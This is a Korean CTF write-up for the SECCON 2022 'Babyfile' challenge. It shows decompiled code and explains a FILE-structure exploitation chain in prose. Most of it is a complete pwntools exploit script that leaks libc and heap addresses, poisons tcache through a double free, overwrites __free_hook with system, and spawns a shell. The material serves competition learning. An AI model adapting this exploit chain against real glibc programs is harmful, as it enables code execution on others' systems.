[CTF write up] SECCON CTF 2022 Qual - Babyfile : Hard FSOP Challenge

2022. 11. 21. 21:44CTF write up

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int idx; // eax
  char offset; // [rsp+7h] [rbp-9h]
  FILE *fd_null; // [rsp+8h] [rbp-8h]

  alarm(0x1Eu);
  write(1, "Play with FILE structure\n", 0x19uLL);
  fd_null = fopen("/dev/null", "r");
  if ( fd_null )
  {
    fd_null->__pad2 = 0LL;
    while ( 1 )
    {
      idx = menu();
      if ( idx == 2 )
      {
        write(1, "offset: ", 8uLL);
        offset = getint();
        if ( offset < 0 )
          offset |= 0x40u;
        write(1, "value: ", 7uLL);
        *((_BYTE *)&fd_null->_flags + (unsigned __int8)offset) = getint();
      }
      else if ( idx <= 2 )
      {
        if ( !idx )
        {
          write(1, "Bye!", 4uLL);
          _exit(0);
        }
        if ( idx == 1 )
          fflush(fd_null);
      }
      write(1, "Done.\n", 6uLL);
    }
  }
  write(1, "Open error", 0xAuLL);
  return -1;
}

/dev/null의 _IO_FILE 구조체 내부에서 OOB가 터진다. 구조체 내부에 버퍼 포인터도 없고 우분투 버전이 높아서 일반적인 _IO_FILE AAW 기법도 사용하지 못한다.

 

_IO_new_file_seekoff, _IO_new_file_underflow를 이용하여 버퍼 포인터를 할당하게 만들고 _IO_new_file_sync에서 _IO_do_write 함수를 실행하는 트릭을 이용하여 libc 주소와 heap 주소를 유출할 수 있다.

 

문제는 AAW 부분인데, undeflow 함수를 이용한 AAW 기법을 사용하지 못하기 때문에, IO_str_overflow 내부에 있는 free, malloc, memcpy를 이용해야한다.

 

 

 

 

 

 

  v4 = *((_QWORD *)a1 + 7);
  v5 = *((_QWORD *)a1 + 8) - v4;
  if ( v5 + (a2 == -1) <= (unsigned __int64)&v3[-*((_QWORD *)a1 + 4)] )
  {
    if ( (v2 & 1) != 0 )
      return 0xFFFFFFFFLL;
    v6 = 2 * v5 + 100;
    if ( v5 > v6 )
      return 0xFFFFFFFFLL;
    v7 = j_malloc(2 * v5 + 100);
    v8 = v7;
    if ( !v7 )
      return 0xFFFFFFFFLL;
    if ( v4 )
    {
      j_memcpy(v7, v4, v5);
      j_free(v4);
      *((_QWORD *)a1 + 7) = 0LL;
    }
    j_memset(v8 + v5, 0LL, v6 - v5);

IO_str_overflow 함수에는 다음과 같은 부분이 존재한다. malloc으로 힙 영역을 할당받고 해당 영역에 fd+7에 존재하는 버퍼 값을 복사한다. 그리고 fd+7 버퍼를 해제하는데, 이를 이용하여 다음과 같은 트릭을 사용할 수 있다.

 

1. fd+7에 fake 청크 주소를 넣어서 해당 청크를 해제한다.

2. fd+7에 또다른 fake 청크를 넣거나 tcache->key 값을 0으로 덮고 더블 프리를 일으켜 tcache bin의 count 값을 2로 만든다.

3. fake 청크의 tcache->fd 값에 __free_hook-0x??의 주소를 쓴다.

4. fd+7 값과 fd+8 값을 잘 조절하여 free된 fake 청크를 할당받는다.

5. 특정 메모리에 sh 문자열과 +0x?? 부분에 system 함수의 주소를 쓴다.

6. fd+7의 해당 메모리 값을 쓰고  fd+8 값을 잘 조절해서 malloc에서 _free_hook-0x?? 주소가 반환되게 한다.

7. 결과적으로 memcpy에서 _free_hook에 system 함수의 주소가 쓰이고, free('sh')가 실행되어 shell이 따인다.

 

 

 

from pwn import *

def trick(offset,value,size=1):
    v = 0
    for i in range(0,size):
        v = (value - (value>>8*(i+1))*256**(i+1) - v)>>8*(i)
        p.recvuntil(b'>'); p.sendline(b'2')
        p.recvuntil(b':'); p.sendline(str(offset+i).encode())
        p.recvuntil(b':'); p.sendline(str(v).encode())


p = process('chall')

trick(216,0xa0-(8*3)) # vtable._IO_new_file_sync -> vtable._IO_new_file_seekoff
time.sleep(0.1); p.sendline(b'1')# set _IO_buf_base, _IO_buf_end

trick(216,0xa0-(8*8)) # vtable._IO_new_file_seekoff -> vtable._IO_new_file_underflow
time.sleep(0.1); p.sendline(b'1') # set read / write buf

trick(216,0xa0) # vtable._IO_new_file_underflow -> vtable._IO_new_file_sync
trick(0x20,0x70) # IO_write_base -> ~0x70
trick(0,0xfbad1800,4) # set write flag
trick(0x70,1) # fileno -> 1(stdout)
time.sleep(0.1); p.sendline(b'1') # vtable._IO_new_file_sync: IO_do_write(fd,*(fd+0x20),*(fd+0x28)-*(fd+0x20))

lic = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc_base = lic - 0x1e8f60
libc_heap_base = libc_base+0x1ec2c8
IO_str_overflow_ptr_addr = libc_base+0x1E9578
free_hook_addr = libc_base + 0x1eee48
system_addr = libc_base +0x52290
print(f'libc_base : {hex(libc_base)}')
print(f'libc_heap_base : {hex(libc_heap_base)}')
print(f'IO_str_overflow_ptr_addr : {hex(IO_str_overflow_ptr_addr)}')
print(f'free_hook_addr : {hex(free_hook_addr)}')
print(f'system_addr : {hex(system_addr)}')

trick(0x20,libc_heap_base,0x8) # IO_write_base -> heap_ptr_in_libc
trick(0x28,libc_heap_base+0x10,0x8) # IO_write_ptr -> heap_ptr_in_libc+0x10
p.recv()
p.sendline(b'1') # vtable._IO_new_file_sync: IO_do_write(fd,*(fd+0x20),*(fd+0x28)-*(fd+0x20))
p.recvuntil(b'>')

heap_base = u64(p.recvuntil([b'\x55',b'\x56'])[-6:].ljust(8,b'\x00'))
file_heap = heap_base + 0x2a0
print(f'heap_base : {hex(heap_base)}')
print(f'file_heap : {hex(file_heap)}')

trick(216,IO_str_overflow_ptr_addr-96,6) # vtable._IO_new_file_sync -> vtable.IO_str_overflow

size = 0x171
malloc_size = int(((size & 0xfffffff0)-0x10-100) / 2)

trick(0x68,size,6) # file_heap+0x68 -> size (fake chunk)
trick(8*7,file_heap+0x70,6) # _IO_buf_base -> file_heap+0x70 (fake chunk)
trick(8*8,file_heap+0x70,6) # _IO_buf_end -> file_heap+0x70 (fake chunk)
time.sleep(0.1); p.sendline(b'1') # vtable.IO_str_overflow: free(_IO_buf_base)

trick(0x78,0x0,8) # tcache.key = 0x0 for Double Free

trick(0x68,size,6) # file_heap+0x68 -> size (fake chunk)
trick(8*7,file_heap+0x70,6) # _IO_buf_base -> file_heap+0x70 (fake chunk)
trick(8*8,file_heap+0x70,6) # _IO_buf_end -> file_heap+0x70 (fake chunk)
time.sleep(0.1); p.sendline(b'1') # vtable.IO_str_overflow: free(_IO_buf_base)

trick(0x70,free_hook_addr-0x18,8) # tcache.fd -> free_hook

trick(8*5,0x0,6) # _IO_write_ptr -> 0x0
trick(8*7,0x0,6) # _IO_buf_base -> 0x0
trick(8*8,malloc_size,6) # _IO_buf_end -> malloc_size
time.sleep(0.1); p.sendline(b'1')  # vtable.IO_str_overflow: malloc(malloc_size*2 + 100)

trick(216,IO_str_overflow_ptr_addr-96,6) # vtable._IO_new_file_sync -> vtable.IO_str_overflow
trick(0,0xfbad1800,4) # set flag

trick(0xe0,u64(b"sh".ljust(8,b"\x00")),8) # file_heap+0xe0 -> 'sh'
trick(0xe0+0x18,system_addr,6) # file_heap+0xe0+0x18 - system_addr

trick(8*5,0x0,6) # _IO_write_ptr -> 0x0
trick(8*7,file_heap+0xe0+0x0,6) # _IO_buf_base -> file_heap+0xe0 
trick(8*8,file_heap+0xe0+malloc_size,6) # _IO_buf_end -> file_heap+0xe0 + malloc_size
time.sleep(0.1); p.sendline(b'1')
# vtable.IO_str_overflow: malloc(malloc_size*2 + 100) -> ptr
# memcpy(ptr, file_heap+0xe0, malloc_size)
# free(file_heap+0xe0)

p.interactive()

File Structure